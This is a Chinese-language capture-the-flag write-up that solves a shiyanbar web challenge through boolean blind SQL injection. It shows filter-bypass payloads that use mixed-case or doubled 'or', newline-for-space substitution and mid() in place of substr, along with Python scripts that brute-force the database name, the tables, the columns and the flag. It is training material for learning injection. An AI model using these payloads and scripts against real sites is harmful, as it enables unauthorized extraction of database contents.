实验吧CTF题之认真一点

打开页面发现是一个输入框,根据输入的id判断此id是否存在。

如上图,如果存在则显示you are in ,否则显示you are not in。

随手输入几个1admin,1',1 and 1=1,1 and 1=2...,发现当输入1 and 1=1时返回Sql injection detected!

于是可以判断出这里存在对某些关键词的过滤。

接下来使用burp suite进行sql注入模糊测试。发现很多关键词都被过滤,比如and,空格,#sleep,union等。但是or还有一些关键词可用。

于是构造关键词0'or(1)or'0。理论上应该为true,可是却返回了you are not in

原来后台还是对or进行了处理:将or变成了空,但是只是匹配了小写,于是我们可以双写or或者使用Or绕过这个处理。当我们输入0'oorr(1)oorr'0或者0'Or(1)Or'0就返回了you are in。

接下来就是盲注的东西了,一开始用substr发现行不通,原来substr也被过滤了。

直接爆破数据库长度:

import requests
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
true_flag = "You are in" 

#  爆破数据库长度 结果为 18 
for len in range(1,25):
    payload = "0'Or(length(database())=%d)Or'0"%len
    data = {"id":payload}
    r = requests.post(url,data=data)
    r.encoding = r.apparent_encoding
    text = r.text
    if true_flag in text:
        print("数据库长度为:%d"%len)
        break

结果:

接下来爆破数据库名,这里没有用ascci二分盲注法,直接依次匹配字母:

import requests
chars ="abcdefghijklmnopqrstuvwxyz_0123456789"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
true_flag = "You are in"

# 爆破数据库名 结果为 ctf_sql_bool_blind
database_name=''
for x in range(18):
    for y in chars:
        payload = "0'Or((mid((database())from(%s)fOr(1)))='%s')Or'0"%(x+1, y)
        data={"id":payload}
        r = requests.post(url,data=data)
        r.encoding = r.apparent_encoding
        text = r.text
        if true_flag in text:
            database_name=database_name+y
            print("数据库名称为:%s"%database_name)
            break
print("end")

结果:

接下来爆破该数据库中的表:

import requests
chars ="~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],."
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
true_flag = "You are in"

# 爆破数据库表 fiag、users
result=" "
for x in range(20):
    for y in chars:
        # 将所有的表用__连接起来
        payload = "0'Or((select(mid(group_concat(table_name separatOr '___')from(%s)fOr(1)))from(infOrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='%s')Or'0"%(x+1,y)
        payload = payload.replace(' ', chr(0x0a)) # 空格被过滤,这里需要替换
        data = {'id': payload} 
        r = requests.post(url, data=data)
        r.encoding = r.apparent_encoding
        text=r.text
        if true_flag in text:
            result=result+y
            print(result)
            break
print("final result is %s"%result)
print("end")

结果

(不知道为什么后面会有很多-。原因是-被替换成了空格)猜测fiag是我们的目标,接下来爆破fiag表中的列,替换payload:

payload = "0'Or((select(mid(group_concat(column_name separatOr '@')from(%s)fOr(1)))from(infOrmation_schema.columns)where(table_name)='fiag')='%s')Or'0"%(x+1,y)

结果只有一列,列名为fl$4g。

接下来爆破字段。替换payload:

payload = "0'Or((select(mid((fl$4g)from(%s)fOr(1)))from(fiag))='%s')Or'0" % (x + 1, y)

最终结果:

因为-会被替换成空格,所以最终结果是flag{haha~you win!}

1 + 2 =
快来做第一个评论的人吧~